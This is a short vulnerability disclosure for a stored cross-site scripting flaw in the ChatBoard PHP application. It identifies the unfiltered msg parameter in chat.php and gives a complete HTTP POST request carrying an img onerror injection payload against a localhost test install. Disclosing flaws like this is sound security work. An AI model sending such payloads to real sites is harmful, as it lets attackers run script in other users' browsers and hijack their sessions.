Ultrabenosaurus ChatBoard - Persistent Cross-Site Scripting

# Exploit Title: Ultrabenosaurus ChatBoard - Stored XSS
# Date: 2016-06-14
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://ultrabenosaurus.ninja/
# Software Link: https://github.com/Ultrabenosaurus/ChatBoard/archive/master.zip
# Tested on: Debian [wheezy]

### Vulnerability Point
chat.php is not filtering special character
 -> file: ./chat.php
 -> param: msg

### Vulnerability Code
POST /vul_test/ChatBoard/__original/chat.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/ChatBoard/__original/?chat
Content-Length: 10
Cookie: PHPSESSID=3oecem8o5c8975dcufbb0moqn5
Connection: keep-alive

msg=654<img src="z" onerror=zz>asd